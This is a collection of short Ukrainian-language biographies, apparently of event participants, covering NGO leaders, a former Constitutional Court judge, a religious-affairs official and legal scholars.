Директорка «Європейського обміну». Вивчала славістику та історію в Тюбінґені та Мюнхені. З 1992 по 1995 була директоркою неурядової організації «Німецько-Російський Обмін» у Санкт-Петербурзі, займалася створенням мережі центрів підтримки НУО в регіонах, програмами обміну для молоді, активістів правозахисного руху та журналістів. З 1997 по 2006 обіймала посаду директорки неурядової організації «Німецько-Російський Обмін» у Берліні. З 2006р. – голова неурядової організації «Європейський Обмін» у Берліні. Член правління Об’єднання «Права людини в Білорусії», член фундації Гайнріха Бьолля.

Кандидат юридичних наук , суддя Конституційного Суду України (2005 - липень 2015). У 1976–1981 роках навчався і у 1981 році закінчив юридичний факультет Одеського державного університету ім. І. І. Мечникова. Того ж року був обраний народним суддею Олександрівського районного народного суду Кіровоградської області. У 1982–1985 роках – народний суддя Кіровського районного народного суду м. Кіровограда. З 1985 року по 1990 рік працював суддею Кіровоградського обласного суду, заступником голови цього суду. Був народним депутатом України першого, другого, третього скликань, заступником голови Комітету Верховної Ради України. У 1991–1993 роках – Генеральний прокурор України. У 2005 року Президентом України призначений суддею Конституційного Суду України. 

1954 року народження, освіта вища, голова фермерського господарства "Родина Щетиніних - шлях до комунізму. Правозахисник, член громадської науково-експертної ради при Вищій кваліфікаційній комісії суддів України, екс-депутат Вінницької міської ради, голова ВОГО "Ми разом". 2004 був довіреною особою кандидата в Презиленти Віктора Ющенка

Директор Департаменту у справах релігій та національностей Міністерства культури України, є членом кількох наукових, професійних спілок та організацій. 1996 року він вступив до Національної спілки журналістів України. Від 1997 року є членом Всеукраїнської асоціації релігієзнавців (від 2007 року – член правління). Того ж 1997 року під час поїздки та участі у міжнародній конференції в Ягеллонському університеті у Кракові став одним із засновників Міжнародної Асоціації з Вивчення Релігії у Центральній та Східній Європі (ISORECEA). 1988 року Андрій Юраш став членом Американської академії релігії та Політологічної асоціації Середньої Америки. Діяльність Андрія Юраша відзначена кількома преміями і нагородами, зокрема від УПЦ Київського Патріархату.

Юрист, закінчив юридичний факультет Львівського Національного Університету імені Івана Франка. З 2004 по 2012 роки працював виконавчим директором Української гельсінської спілки з прав людини. Член правління УГСПЛ та член оргкомітету Міжнародного фестивалю документальних фільмів про права людини Docudays UA.

Закінчила юридичний факультет Київського національного університету імені Тараса Шевченка, у 2006 році присвоєно вчене звання доцента. 2011 рік - професор кафедри кримінального  процесу Національної академії внутрішніх справ. 2012 рік - професор кафедри правосуддя Київського національного університету імені Тараса Шевченка. Сфера наукових інтересів:змагальне кримінальне судочинство, організація та функціонування адвокатури в Україні, проблеми судоустрою, прокуратури та адвокатури, застосування психологічного впливу учасниками процесуальних правовідносин.